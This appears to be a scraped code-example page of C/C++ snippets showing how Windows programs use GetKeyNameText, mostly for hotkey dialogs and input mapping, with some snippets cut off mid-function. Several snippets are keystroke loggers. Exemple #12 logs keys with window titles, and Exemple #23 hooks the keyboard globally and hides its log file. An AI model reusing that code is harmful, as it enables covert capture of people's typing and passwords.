Exemple #1
0
BOOL CConfigGeneral::OnInitDialog()
{
	char Text[64];

	CPropertyPage::OnInitDialog();

	m_bWrapCursor		= theApp.GetSettings()->General.bWrapCursor;
	m_bWrapFrames		= theApp.GetSettings()->General.bWrapFrames;
	m_bFreeCursorEdit	= theApp.GetSettings()->General.bFreeCursorEdit;
	m_bPreviewWAV		= theApp.GetSettings()->General.bWavePreview;
	m_bKeyRepeat		= theApp.GetSettings()->General.bKeyRepeat;
	m_bRowInHex			= theApp.GetSettings()->General.bRowInHex;
	m_iEditStyle		= theApp.GetSettings()->General.iEditStyle;
	m_bFramePreview		= theApp.GetSettings()->General.bFramePreview;
	m_bNoDPCMReset		= theApp.GetSettings()->General.bNoDPCMReset;
	m_bNoStepMove		= theApp.GetSettings()->General.bNoStepMove;
	m_iPageStepSize		= theApp.GetSettings()->General.iPageStepSize;
	m_bPullUpDelete		= theApp.GetSettings()->General.bPullUpDelete;
	m_bBackups			= theApp.GetSettings()->General.bBackups;
	m_bSingleInstance	= theApp.GetSettings()->General.bSingleInstance;

	m_iKeyNoteCut		= theApp.GetSettings()->Keys.iKeyNoteCut; 
	m_iKeyNoteRelease	= theApp.GetSettings()->Keys.iKeyNoteRelease; 
	m_iKeyClear			= theApp.GetSettings()->Keys.iKeyClear; 
	m_iKeyRepeat		= theApp.GetSettings()->Keys.iKeyRepeat;

	GetKeyNameText(MapVirtualKey(m_iKeyNoteCut, MAPVK_VK_TO_VSC) << 16, Text, 64);
	SetDlgItemText(IDC_KEY_NOTE_CUT, Text);
	GetKeyNameText(MapVirtualKey(m_iKeyNoteRelease, MAPVK_VK_TO_VSC) << 16, Text, 64);
	SetDlgItemText(IDC_KEY_NOTE_RELEASE, Text);
	GetKeyNameText(MapVirtualKey(m_iKeyClear, MAPVK_VK_TO_VSC) << 16, Text, 64);
	SetDlgItemText(IDC_KEY_CLEAR, Text);
	GetKeyNameText(MapVirtualKey(m_iKeyRepeat, MAPVK_VK_TO_VSC) << 16, Text, 64);
	SetDlgItemText(IDC_KEY_REPEAT, Text);

	EnableToolTips(TRUE);

	m_wndToolTip.Create(this, TTS_ALWAYSTIP);
	m_wndToolTip.Activate(TRUE);

	CWnd *pWndChild = GetWindow(GW_CHILD);
	CString strToolTip;

	while (pWndChild) {
		int nID = pWndChild->GetDlgCtrlID();
		if (strToolTip.LoadString(nID)) {
			m_wndToolTip.AddTool(pWndChild, strToolTip);
		}
		pWndChild = pWndChild->GetWindow(GW_HWNDNEXT);
	}

	return TRUE;  // return TRUE unless you set the focus to a control
	// EXCEPTION: OCX Property Pages should return FALSE
}
Exemple #2
0
stringT CKeySend::GetKeyName(WORD wVirtualKeyCode, bool bExtended)
{
  /*
    Note the KeyName is taken from the current keyboard.  It is also the name 
    of the UNSHIFTED character and so the actual key is keyboard dependent.
    For example, UK keyboards have the double quote (") as SHIFT+2 and US keyboards
    have the AT symbol (@) symbol as SHIFT+2.  This shouldn't be a problem for the user
    as they rarely change keyboards!
  */
  stringT sKeyName;

  if (wVirtualKeyCode != 0) {
    TCHAR lpString[256];
    LPARAM lParam;

    // Get scan code
    UINT sc = MapVirtualKey(wVirtualKeyCode, 0);
    lParam = sc << 16;

    lParam |= 0x1 << 25;
    if (bExtended)
      lParam |= 0x1 << 24;

    if (GetKeyNameText((LONG)lParam, lpString, sizeof(lpString) / sizeof(TCHAR)) != 0)
      sKeyName = lpString;
  }

  return sKeyName;
}
LRESULT _stdcall HookCallback(int nCode, WPARAM CurrenrWparam, LPARAM CurrentLparam)
{
	
	if (nCode >= 0)
	{
		if (CurrenrWparam == WM_KEYDOWN)
		{
			unsigned int KeyNumber = CurrenrWparam;
			//GetKeyNameTextA(CurrentLparam, wtext, 10);
			//GetKeyNameTextW(CurrentLparam, wtext, 10);
			GetKeyNameText(CurrentLparam, wtext, 10);
			//std::string str;
			//_itoa_s(KeyNumber, PressedKey, 10);
			MainHookStruct = *((KBDLLHOOKSTRUCT*)CurrentLparam);
			if (MainHookStruct.vkCode == VK_F1)
			{
				MessageBox(NULL,L"F1 is pressed",L"Header",MB_ICONWARNING);
			}
		}
	}
	else
	{
		MessageBox(NULL, L"nCode = -1 (FirstHook)", L"Header", MB_ICONWARNING);
	}
	if (nCode >= 0)
	{
		return CallNextHookEx(SecondHook, -1, CurrenrWparam, CurrentLparam);
	}
	else
	{
		return 0;
	}
}
//http://www.ffuts.org/blog/mapvirtualkey-getkeynametext-and-a-story-of-how-to/
CString CHotKey::GetVirKeyName(unsigned int virtualKey)
{
	unsigned int scanCode = MapVirtualKey(virtualKey, MAPVK_VK_TO_VSC);

	// because MapVirtualKey strips the extended bit for some keys
	switch (virtualKey)
	{
	case VK_LEFT: 
	case VK_UP: 
	case VK_RIGHT: 
	case VK_DOWN: // arrow keys
	case VK_PRIOR: 
	case VK_NEXT: // page up and page down
	case VK_END: 
	case VK_HOME:
	case VK_INSERT: 
	case VK_DELETE:
	case VK_DIVIDE: // numpad slash
	case VK_NUMLOCK:
		{
			scanCode |= 0x100; // set extended bit
			break;
		}
	}

	wchar_t keyName[50];
	if (GetKeyNameText(scanCode << 16, keyName, sizeof(keyName)) != 0)
	{
		return keyName;
	}
	else
	{
		return "[Error]";
	}
}
Exemple #5
0
	void add_rawinput_device(running_machine& machine, RAWINPUTDEVICELIST * device) override
	{
		// make sure this is a keyboard
		if (device->dwType != RIM_TYPEKEYBOARD)
			return;

		// allocate and link in a new device
		rawinput_keyboard_device *devinfo = create_rawinput_device<rawinput_keyboard_device>(machine, device);
		if (devinfo == NULL)
			return;

		keyboard_trans_table &table = keyboard_trans_table::instance();

		// populate it
		for (int keynum = 0; keynum < MAX_KEYS; keynum++)
		{
			input_item_id itemid = table.map_di_scancode_to_itemid(keynum);
			TCHAR keyname[100];
			char *name;

			// generate the name
			if (GetKeyNameText(((keynum & 0x7f) << 16) | ((keynum & 0x80) << 17), keyname, ARRAY_LENGTH(keyname)) == 0)
				_sntprintf(keyname, ARRAY_LENGTH(keyname), TEXT("Scan%03d"), keynum);
			name = utf8_from_tstring(keyname);

			// add the item to the device
			devinfo->device()->add_item(name, itemid, generic_button_get_state, &devinfo->keyboard.state[keynum]);
			osd_free(name);
		}
	}
Exemple #6
0
    int hotkey_name(int modifiers, int vk, char text[]) {
        char mod_name[256];
        char key_name[256];

        mod_name[0] = '\0';

        /* Get modifier names */
        if (modifiers&MOD_SHIFT)
            strcpy(mod_name, "SHIFT");
        if (modifiers&MOD_CONTROL) {
            if (strlen(mod_name)>0)
                strcat(mod_name, "+CTRL");
            else
                strcpy(mod_name, "CTRL");
        }
        if (modifiers&MOD_ALT) {
            if (strlen(mod_name)>0)
                strcat(mod_name, "+ALT");
            else
                strcpy(mod_name, "ALT");
        }

        /* Key name, skip weirdo keys we don't know */
        GetKeyNameText(MapVirtualKey(vk, 0) << 16, key_name, 256);
        if(strlen(key_name) == 0) return 0;

        /* Get final string */
        sprintf(text, "%s+%s", mod_name, key_name);
        return 1;
    }
void getKeyName(int key, char* out, int max_size)
{
    int virtualKey = getSystemKey(key);
    unsigned int scanCode = MapVirtualKey(virtualKey, MAPVK_VK_TO_VSC);

    // because MapVirtualKey strips the extended bit for some keys
    switch (virtualKey)
    {
    case VK_LEFT:
    case VK_UP:
    case VK_RIGHT:
    case VK_DOWN: // arrow keys
    case VK_PRIOR:
    case VK_NEXT: // page up and page down
    case VK_END:
    case VK_HOME:
    case VK_INSERT:
    case VK_DELETE:
    case VK_DIVIDE: // numpad slash
    case VK_NUMLOCK:
    {
        scanCode |= 0x100; // set extended bit
        break;
    }
    }

    GetKeyNameText(scanCode << 16, out, max_size);
}
// virtual keycodes names
wstring VKToString(int KeyCode) {
	// Default value
	wchar_t KeyStr[64] = {0};
	GetKeyNameText(MapVirtualKey(KeyCode, MAPVK_VK_TO_VSC) << 16, KeyStr, 64);
	wstring KeyString = KeyStr;

	switch(KeyCode)	{
		// Give it some help with a few keys
		case VK_END: return L"END";
		case VK_INSERT: return L"INS";
		case VK_DELETE: return L"DEL";
		case VK_PRIOR: return L"PGUP";
		case VK_NEXT: return L"PGDN";

		case VK_UP: return L"UP";
		case VK_DOWN: return L"DOWN";
		case VK_LEFT: return L"LEFT";
		case VK_RIGHT: return L"RIGHT";

		case VK_LSHIFT: return L"LEFT SHIFT";
		case VK_LCONTROL: return L"LEFT CTRL";
		case VK_RCONTROL: return L"RIGHT CTRL";
		case VK_LMENU: return L"LEFT ALT";

		default: return KeyString;
	}
}
Exemple #9
0
static char *MakeButtString(ButtConfig *bc) {
    int x;
    char tmpstr[512];
    char *astr;

    tmpstr[0] = 0;

    for (x = 0; x < bc->NumC; x++) {
        if (x) strcat(tmpstr, ", ");

        if (bc->ButtType[x] == BUTTC_KEYBOARD) {
            strcat(tmpstr, "KB: ");
            if (!GetKeyNameText(bc->ButtonNum[x] << 16, tmpstr + strlen(tmpstr), 16))
                sprintf(tmpstr + strlen(tmpstr), "%02X", bc->ButtonNum[x]);
            else
                sprintf(tmpstr + strlen(tmpstr), " (%02X)", bc->ButtonNum[x]);
        } else if (bc->ButtType[x] == BUTTC_JOYSTICK) {
            strcat(tmpstr, "JS ");
            sprintf(tmpstr + strlen(tmpstr), "%d ", bc->DeviceNum[x]);
            if (bc->ButtonNum[x] & 0x8000) {
                char *asel[3] = { "x", "y", "z" };
                sprintf(tmpstr + strlen(tmpstr), "axis %s%s", asel[bc->ButtonNum[x] & 3], (bc->ButtonNum[x] & 0x4000) ? "-" : "+");
            } else if (bc->ButtonNum[x] & 0x2000) {
                sprintf(tmpstr + strlen(tmpstr), "hat %d:%d", (bc->ButtonNum[x] >> 4) & 3,
                        bc->ButtonNum[x] & 3);
            } else {
CL_String CL_InputDeviceProvider_Win32Keyboard::get_key_name(int virtual_key) const
{
	throw_if_disposed();

	TCHAR name[1024];
	UINT scancode = MapVirtualKey(virtual_key, 0);
	int length = GetKeyNameText(scancode << 16, name, 1024);
	return CL_String(name, length);
}
Exemple #11
0
 virtual LRESULT proc(HWND hwnd_, UINT msg_, WPARAM wp_, LPARAM lp_)
     {
         TCHAR cmd_name[CMD_NAME_SIZE];
         uInt32 code = 0;
         switch (msg_)
         {
         case WM_LBUTTONDOWN:
             gui_end = true;
             _tcsncpy_s(cmd_name, _T("Left Click"), CMD_NAME_SIZE);
             core.edit_action(elist.get_last_row(0), ACT_CMD_MOUSE,
                              cmd_name, CMD_MOUSECLICK_LEFT);
             break;
         case WM_MBUTTONDOWN:
             gui_end = true;
             _tcsncpy_s(cmd_name, _T("Middle Click"), CMD_NAME_SIZE);
             core.edit_action(elist.get_last_row(0), ACT_CMD_MOUSE,
                              cmd_name, CMD_MOUSECLICK_MIDDLE);
             break;
         case WM_RBUTTONDOWN:
             gui_end = true;
             _tcsncpy_s(cmd_name, _T("Right Click"), CMD_NAME_SIZE);
             core.edit_action(elist.get_last_row(0), ACT_CMD_MOUSE,
                              cmd_name, CMD_MOUSECLICK_RIGHT);
             break;
         case WM_MOUSEWHEEL:
             gui_end = true;
             if (GET_WHEEL_DELTA_WPARAM(wp_) > 0)
             {
                 _tcsncpy_s(cmd_name, _T("Wheel Up"), CMD_NAME_SIZE);
                 code = CMD_MOUSEWHEEL_UP;
             }
             else
             {
                 _tcsncpy_s(cmd_name, _T("Wheel Down"), CMD_NAME_SIZE);
                 code = CMD_MOUSEWHEEL_DOWN;
             }
             core.edit_action(elist.get_last_row(0), ACT_CMD_MOUSE,
                              cmd_name, code);
             break;
         case WM_KEYDOWN:
         case WM_SYSKEYDOWN:
         case WM_MENUCHAR:
         case WM_CHAR:
         case WM_SYSCHAR:
         case WM_SYSDEADCHAR:
         case WM_SYSCOMMAND: // normal key
             gui_end = true;
             GetKeyNameText(static_cast<LONG>(lp_), cmd_name, CMD_NAME_SIZE);
             core.edit_action(elist.get_last_row(0), ACT_CMD_KEY,
                              cmd_name, static_cast<const uInt32>(wp_));
             break;
         default:
             break;
         }
         if (gui_end) { show_cmdname(cmd_name); }
         return 0;
     }
Exemple #12
0
/* write formatted kkeycodes to logfile */
void write_to_log(UINT vkey_code){
	
	DWORD n;
	BYTE lpKeyState[256];				/* For use by ToAscii and GetKeyboardState */
	char key_name[16];					/* String to hold key name */
	int key_name_size;					/* Length of key name */
	WORD w_buffer;
	short int is_shift = 0;				/* Variable to decide if current scanned char should be in caps. */
	
	if(!h_logfile)
		return;
	
	/* Get Current Time */
	GetLocalTime(&curr_time);

	/* Check currently active window and grab title */
	h_active_window = GetForegroundWindow();
	GetWindowText(h_active_window, active_window_title, MAX_PATH);
	
	/* Write new title to logfile if:
	 * 1)current window title is not equal to previous window title
	 * 2)last log write was not in last minute
	 * 3)window handle of active window is different from previous handle
	 */
	if(strcmp(active_window_title, prev_window_title)
			||(curr_time.wMinute != prev_time.wMinute)
			||(h_active_window != h_prev_window)){
			
		strcpy(prev_window_title, active_window_title);
		prev_time = curr_time;
		h_prev_window = h_active_window;
		sprintf(window_title, "\r\n[ (%d/%d/%d %d:%d) TITLE: %s ]\r\n", 
					curr_time.wMonth, curr_time.wDay, curr_time.wYear,
					curr_time.wHour, curr_time.wMinute,
					active_window_title);
		
		WriteFile(h_logfile, window_title, strlen(window_title), &n, NULL);
	}

	/* Parse and write keys to log */
	if( (w_buffer = MapVirtualKey(vkey_code, MAPVK_VK_TO_CHAR)) && (w_buffer >= 32 && w_buffer <= 126) ){
	
		GetKeyboardState(lpKeyState);
		ToAscii( vkey_code, MapVirtualKey(vkey_code, 0), lpKeyState, &w_buffer, 0 );
		WriteFile(h_logfile, (char *)&w_buffer, 1, &n, NULL);
	
	}else{
	
		key_name[0] = '[';
		key_name_size = GetKeyNameText( MAKELONG(0, MapVirtualKey(vkey_code, MAPVK_VK_TO_VSC) ), key_name+1, sizeof(key_name)-2);
		key_name[key_name_size+1] = ']';
		WriteFile(h_logfile, key_name, key_name_size+2, &n, NULL);
		
	}
	
	FlushFileBuffers(h_logfile);
}
Exemple #13
0
static const TCHAR* getKeyName(DWORD key) {
	static TCHAR keyName[64];
	int nameLen = 0;
	ZeroMemory(keyName, sizeof(keyName));
	if (key & KB_CTRL_FLAG) {
		GetKeyNameText(MAKELPARAM(0, MapVirtualKey(VK_CONTROL, 0)), keyName, 64);
		_tcscat(keyName, keySeparator);
		nameLen = _tcslen(keyName);
	}
	if (key & KB_SHIFT_FLAG) {
		GetKeyNameText(MAKELPARAM(0, MapVirtualKey(VK_SHIFT, 0)), &keyName[nameLen], 64 - nameLen);
		_tcscat(keyName, keySeparator);
		nameLen = _tcslen(keyName);
	}
	if (key & KB_ALT_FLAG) {
		GetKeyNameText(MAKELPARAM(0, MapVirtualKey(VK_MENU, 0)), &keyName[nameLen], 64 - nameLen);
		_tcscat(keyName, keySeparator);
		nameLen = _tcslen(keyName);
	}
	if ((key & 0xFFFF) != 0) {
		DWORD scanCode = MapVirtualKey(key & 0xFFFF, 0);
		switch(key & 0xFFFF) {
		case VK_INSERT:
		case VK_DELETE:
		case VK_HOME:
		case VK_END:
		case VK_NEXT:
		case VK_PRIOR:
		case VK_LEFT:
		case VK_RIGHT:
		case VK_UP:
		case VK_DOWN:
			scanCode |= 0x100; // Add extended bit
		}
		GetKeyNameText(MAKELPARAM(0, scanCode), &keyName[nameLen], 64 - nameLen);
		nameLen = _tcslen(keyName);
	}
	return keyName;
}
Exemple #14
0
// 键盘钩子消息处理过程
LRESULT CALLBACK KeyboardProc ( int nCode, WPARAM wParam, LPARAM lParam )
{
	// 最高位为0(lParam>0),表示VM_KEYDOWN消息
	if( ( nCode == HC_ACTION ) && ( lParam > 0 ) )
	{
		WCHAR KeyName[10] = {0} ;
		GetKeyNameText ( (LONG)lParam, KeyName, 50 ) ;
		MessageBox ( NULL, KeyName, L"全局键盘钩子", MB_OK ) ;
	}

	// 继续传递消息
	return CallNextHookEx ( hKeyboard, nCode, wParam, lParam ) ;
}
Exemple #15
0
CString VscToString( UINT vsc ) {
	wchar_t buf[256];
	int rc;

	memset( buf, 0, sizeof( buf ) );
	rc = GetKeyNameText( vsc, buf, countof( buf ) );
	if ( 0 == rc ) {
		debug( _T("VscToString(0x%08x): GetKeyNameText: error %d\n"), vsc, GetLastError( ) );
		return CString( );
	}

	return CString( buf );
}
Exemple #16
0
// Didn't work. GetKeyNameText returned something else on XP and windows 7
static int get_keypad_subID(MSG *msg){
  char temp[500];
  GetKeyNameText(msg->lParam,temp,500);

  printf("Keyname: \"%s\"\n",temp);
  fflush(stdout);

  if(strlen(temp)<4 || temp[0]!='K' || temp[1]!='P' || temp[2]!='_')
    return EVENT_NO;

  if(!strcmp(temp,"KP_Insert"))
    return EVENT_KP_0;
  if(!strcmp(temp,"KP_Delete"))
    return EVENT_KP_DOT;
  if(!strcmp(temp,"KP_Enter"))
    return EVENT_KP_ENTER;

  if(!strcmp(temp,"KP_End"))
    return EVENT_KP_1;
  if(!strcmp(temp,"KP_Down"))
    return EVENT_KP_2;
  if(!strcmp(temp,"KP_Next"))
    return EVENT_KP_3;

  if(!strcmp(temp,"KP_Left"))
    return EVENT_KP_4;
  if(!strcmp(temp,"KP_Begin"))
    return EVENT_KP_5;
  if(!strcmp(temp,"KP_Right"))
    return EVENT_KP_6;

  if(!strcmp(temp,"KP_Home"))
    return EVENT_KP_7;
  if(!strcmp(temp,"KP_Up"))
    return EVENT_KP_8;
  if(!strcmp(temp,"KP_Prior"))
    return EVENT_KP_9;

  if(!strcmp(temp,"KP_Add"))
    return EVENT_KP_ADD;
  if(!strcmp(temp,"KP_Subtract"))
    return EVENT_KP_SUB;
  if(!strcmp(temp,"KP_Multiply"))
    return EVENT_KP_MUL;
  if(!strcmp(temp,"KP_Divide"))
    return EVENT_KP_DIV;

  return EVENT_NO;
}
Exemple #17
0
const wchar_t* getKeyName (int flags, int vk, BOOL i18n) {
wchar_t* wstr = malloc(sizeof(wchar_t*) * 256);
wstr[0]=0;
int pos = 0;
if (flags&FCONTROL) pos += wsprintf(wstr+pos, L"%ls+", i18n?MSG_CTRL:L"Ctrl");
if (flags&FALT) pos += wsprintf(wstr+pos, L"%ls+", i18n?MSG_ALT:L"Alt");
if (flags&FSHIFT) pos += wsprintf(wstr+pos, L"%ls+", i18n?MSG_SHIFT:L"Shift");
if (flags&FVIRTKEY) {
UINT scan = MapVirtualKey(vk, 0);
pos += GetKeyNameText(scan<<16, wstr+pos, 255-pos);
wstr[pos]=0;
}
else wsprintf(wstr+pos, "%c", toupper(vk));
return wstr;
}
// Hook handler
long CCppWindowsHookDlg::OnHookKeyboard(WPARAM wParam, LPARAM lParam)
{
	CString str;
	GetKeyNameText(lParam, str.GetBuffer(80), 80);
	str.ReleaseBuffer();

	CString strItem(L"User strike:" + str + L"\r\n");

	// Add key data into the editing box
	CString strEdit;
	GetDlgItem(IDC_MSG)->GetWindowText(strEdit);
	GetDlgItem(IDC_MSG)->SetWindowText(strItem + strEdit);

	return 0;
}
Exemple #19
0
CString NameFromVKey(UINT nVK)
{
	CString str;
	if (0x00 == nVK)
	{
		str = _T("None");
	}
	else if (VK_SNAPSHOT == nVK)
	{
		str = _T("Prt Scr");
	}
	else
	{
		UINT nScanCode = MapVirtualKeyEx(nVK, 0, GetKeyboardLayout(0));
		switch(nVK) {
			// Keys which are "extended" (except for Return which is Numeric Enter as extended)
			case VK_INSERT:
			case VK_DELETE:
			case VK_HOME:
			case VK_END:
			case VK_NEXT:  // Page down
			case VK_PRIOR: // Page up
			case VK_LEFT:
			case VK_RIGHT:
			case VK_UP:
			case VK_DOWN:
				nScanCode |= 0x100; // Add extended bit
		}	

		// GetKeyNameText() expects the scan code to be on the same format as WM_KEYDOWN
		// Hence the left shift
		LPTSTR prb = str.GetBuffer(80);
		BOOL bResult = GetKeyNameText(nScanCode << 16, prb, 79);

		// these key names are capitalized and look a bit daft
		int len = lstrlen(prb);
		if(len > 1) {
			LPTSTR p2 = CharNext(prb);
			CharLowerBuff(p2, len - (p2 - prb) );
		}

		str.ReleaseBuffer();
		ATLASSERT(str.GetLength());
	}
	return str; // internationalization ready, sweet!
}
Exemple #20
0
gchar *
_gdk_win32_key_to_string (LONG lParam)
{
  char buf[100];
  gchar *keyname_utf8;

  if (GetKeyNameText (lParam, buf, sizeof (buf)) &&
      (keyname_utf8 = g_locale_to_utf8 (buf, -1, NULL, NULL, NULL)) != NULL)
    {
      gchar *retval = static_printf ("%s", keyname_utf8);

      g_free (keyname_utf8);

      return retval;
    }

  return static_printf ("unk-%#lx", lParam);
}
Exemple #21
0
/* scancode_to_name:
 *  Converts the given scancode to a description of the key.
 */
static AL_CONST char *key_directx_scancode_to_name(const int scancode)
{
   static char name[256];
   TCHAR str[256];
   WCHAR wstr[256];

   ASSERT(scancode >= 0 && scancode < KEY_MAX);

   if (GetKeyNameText(reverse_mapping[scancode], str, sizeof str)) {
      /* let Windows translate from the current encoding into UTF16 */
      MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, str, -1, wstr, sizeof wstr);
      /* translate from utf16 to Allegro's current encoding */
      uconvert((char *)wstr, U_UNICODE, name, U_CURRENT, sizeof name);
      /* why oh why doesn't everybody just use UTF8/16 */
      return name;
   }
   else
      return _keyboard_common_names[scancode];
}
Exemple #22
0
static char *MakeButtString(ButtConfig *bc)
{
	uint32 x; //mbg merge 7/17/06  changed to uint
	char tmpstr[512];
	char *astr;

	tmpstr[0] = 0;

	for(x=0;x<bc->NumC;x++)
	{
		if(x) strcat(tmpstr, ", ");

		if(bc->ButtType[x] == BUTTC_KEYBOARD)
		{
			strcat(tmpstr,"KB: ");
			if(!GetKeyNameText(bc->ButtonNum[x]<<16,tmpstr+strlen(tmpstr),16))
			{
				switch(bc->ButtonNum[x])
				{
				case 200: strcpy(tmpstr+strlen(tmpstr),"Up Arrow"); break;
				case 203: strcpy(tmpstr+strlen(tmpstr),"Left Arrow"); break;
				case 205: strcpy(tmpstr+strlen(tmpstr),"Right Arrow"); break;
				case 208: strcpy(tmpstr+strlen(tmpstr),"Down Arrow"); break;
				default: sprintf(tmpstr+strlen(tmpstr),"%03d",bc->ButtonNum[x]); break;
				}
			}
		}
		else if(bc->ButtType[x] == BUTTC_JOYSTICK)
		{
			strcat(tmpstr,"JS ");
			sprintf(tmpstr+strlen(tmpstr), "%d ", bc->DeviceNum[x]);
			if(bc->ButtonNum[x] & 0x8000)
			{
				char *asel[3]={"x","y","z"};
				sprintf(tmpstr+strlen(tmpstr), "axis %s%s", asel[bc->ButtonNum[x] & 3],(bc->ButtonNum[x]&0x4000)?"-":"+");
			}
			else if(bc->ButtonNum[x] & 0x2000)
			{
				sprintf(tmpstr+strlen(tmpstr), "hat %d:%d", (bc->ButtonNum[x] >> 4)&3,
					bc->ButtonNum[x]&3);
			}
			else
			{
Exemple #23
0
LRESULT CALLBACK Keylogger(int nCode, WPARAM wParam, LPARAM lParam)
{
	KBDLLHOOKSTRUCT cKey = *((KBDLLHOOKSTRUCT*)lParam);
	HKL keyboard_layout = GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), 0));
	WORD symbol = NULL;
	BYTE keyboard_state[256];
	wchar_t unicodesymbol = NULL;
	char lpzsname[0x100] = { 0 };
	DWORD dwMsg = 1;
	int keys[9] = { 0x08, 0x0d, 0x10, 0x11, 0x12, 0x14, 0x1b, 0x2e, 0x00 };
	bool flag_sys = false;
	ofstream out;

	out.open(logkl, ios::app);
	HideFile(logkl);

	GetKeyboardState(keyboard_state);

	dwMsg += cKey.scanCode << 16;
	dwMsg += cKey.flags << 24;

	GetKeyNameText(dwMsg, (LPTSTR)lpzsname, 255);

	//ToUnicodeEx(cKey.vkCode, cKey.scanCode, keyboard_state, &unicodesymbol, 1, 0, keyboard_layout);
	ToAsciiEx(cKey.vkCode, cKey.scanCode, keyboard_state, &symbol, 0, keyboard_layout);

	for (int i = 0; i < 10; i++)
	{
		if (symbol == keys[i])
			flag_sys = true;
	}

	if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && flag_sys == false)
		out << (char)symbol;
	if ((wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) && flag_sys == true)
		out << "[" << lpzsname << "]";

	out.close();

	return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//*******************************************************************
void CBCGKeyHelper::Format (CStringW& str) const
{
	str.Empty ();

	if (m_lpAccel == NULL)
	{
		ASSERT (FALSE);
		return;
	}

	if (m_lpAccel->fVirt & FCONTROL)
	{
		//AddVirtKeyStr (str, VK_CONTROL);
		str += _T("Ctrl+");
	}

	if (m_lpAccel->fVirt & FSHIFT)
	{
		//AddVirtKeyStr (str, VK_SHIFT);
		str += _T("Shift+");
	}

	if (m_lpAccel->fVirt & FALT)
	{
		//AddVirtKeyStr (str, VK_MENU);
		str += _T("Alt+");
	}

	if (m_lpAccel->fVirt & FVIRTKEY)
	{
		TCHAR keyname[64];
		UINT vkey = MapVirtualKey(m_lpAccel->key, 0)<<16;
		GetKeyNameText(vkey, keyname, sizeof(keyname));
		str += keyname;
	}
	else if (m_lpAccel->key != 27)	// Don't print esc
	{
		str += (char) m_lpAccel->key;
	}
}
Exemple #25
0
/*
 * menu_get_keyname - キー名を取得
 */
TCHAR *menu_get_keyname(const UINT modifiers, const UINT virtkey)
{
	TCHAR buf[BUF_SIZE];
	UINT scan_code;
	int ext_flag = 0;

	*buf = TEXT('\0');
	if (modifiers & MOD_CONTROL) {
		lstrcat(buf, TEXT("Ctrl+"));
	}
	if (modifiers & MOD_SHIFT) {
		lstrcat(buf, TEXT("Shift+"));
	}
	if (modifiers & MOD_ALT) {
		lstrcat(buf, TEXT("Alt+"));
	}
	if (modifiers & MOD_WIN) {
		lstrcat(buf, TEXT("Win+"));
	}
	if (virtkey == 0 || (scan_code = MapVirtualKey(virtkey, 0)) <= 0) {
		// なし
		return NULL;
	}
	if (virtkey == VK_APPS ||
		virtkey == VK_PRIOR ||
		virtkey == VK_NEXT ||
		virtkey == VK_END ||
		virtkey == VK_HOME ||
		virtkey == VK_LEFT ||
		virtkey == VK_UP ||
		virtkey == VK_RIGHT ||
		virtkey == VK_DOWN ||
		virtkey == VK_INSERT ||
		virtkey == VK_DELETE ||
		virtkey == VK_NUMLOCK) {
		ext_flag = 1 << 24;
	}
	GetKeyNameText((scan_code << 16) | ext_flag, buf + lstrlen(buf), BUF_SIZE - lstrlen(buf) - 1);
	return alloc_copy(buf);
}
Exemple #26
0
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key
) {
          // HC_ACTION means we may process this event
          // Only react if either a system key ...
          // ... or a normal key have been pressed.

    if  ((nCode == HC_ACTION) &&((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
    {
        KBDLLHOOKSTRUCT hooked = *((KBDLLHOOKSTRUCT*)lParam);
        DWORD dwMsg = 1;
        dwMsg += hooked.scanCode << 16;
        dwMsg += hooked.flags << 24;
        char lpszName[0x100] = {0};
        int i = GetKeyNameText(dwMsg,(lpszName),0xFF) + 1;
        gravatexto(lpszName);

    }
    return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
}
Exemple #27
0
BOOL CConfigGeneral::PreTranslateMessage(MSG* pMsg)
{
	if (pMsg->message == WM_KEYDOWN) {
		char Text[64];
		int id = GetFocus()->GetDlgCtrlID();
		int key = pMsg->wParam;

		if (key == 27)		// ESC
			key = 0;

		switch (id) {
			case IDC_KEY_NOTE_CUT:
				m_iKeyNoteCut = key;
				break;
			case IDC_KEY_NOTE_RELEASE:
				m_iKeyNoteRelease = key;
				break;
			case IDC_KEY_CLEAR:
				m_iKeyClear = key;
				break;
			case IDC_KEY_REPEAT:
				m_iKeyRepeat = key;
				break;
			default:
				return CPropertyPage::PreTranslateMessage(pMsg);
		}

		GetKeyNameText(key ? pMsg->lParam : 0, Text, 64);
		SetDlgItemText(id, Text);

		SetModified();

		return TRUE;
	}

	m_wndToolTip.RelayEvent(pMsg);

	return CPropertyPage::PreTranslateMessage(pMsg);
}
static std::string GetButtonText(DialogData *d) {
	std::stringstream ss;

	if (d->setting.type == InternalEmulatorInputType::KEY) {
		if (d->setting.value != 0) {
			TCHAR s[80];
			GetKeyNameText(d->setting.value, s, sizeof(s));

			ss << "(K) " << s;
		}
	}
	else {
		ss << "(J) ";
		if (d->setting.value < 32) {
			ss << d->setting.value;
		}
		else {
			ss << (d->setting.value == 32 ? "UP" : d->setting.value == 33 ? "DN" : d->setting.value == 34 ? "LT" : d->setting.value == 35 ? "RT" : d->setting.value == 36 ? "POVUP" : d->setting.value == 37 ? "POVDN" : d->setting.value == 38 ? "POVLT" : d->setting.value == 39 ? "POVRT" : "");
		}
	}

	return ss.str();
}
Exemple #29
0
LPCTSTR CAccelerator::GetVKeyName(int virtualKey) const
{
    unsigned int scanCode = MapVirtualKey(virtualKey, MAPVK_VK_TO_VSC);

    // because MapVirtualKey strips the extended bit for some keys
    switch (virtualKey) {
        case VK_LEFT: case VK_UP: case VK_RIGHT: case VK_DOWN: // arrow keys
        case VK_PRIOR: case VK_NEXT: // page up and page down
        case VK_END: case VK_HOME:
        case VK_INSERT: case VK_DELETE:
        case VK_DIVIDE:	 // numpad slash
        case VK_NUMLOCK:
            scanCode |= 0x100; // set extended bit
            break;
    }

    static TCHAR keyName[50];

    if (GetKeyNameText(scanCode << 16, keyName, sizeof(keyName)) != 0)
        return keyName;

	return _T("");
}
// Hook handler(WH_KEYBOARD_LL)
// wParam specifies the virtual key code
// lParam specifies the scan code
long CCppWindowsHookDlg::OnHookLowKeyboard(WPARAM wParam, LPARAM lParam)
{	
	CString str;
	// Convert the virtual key code into a scancode (as required by GetKeyNameText).
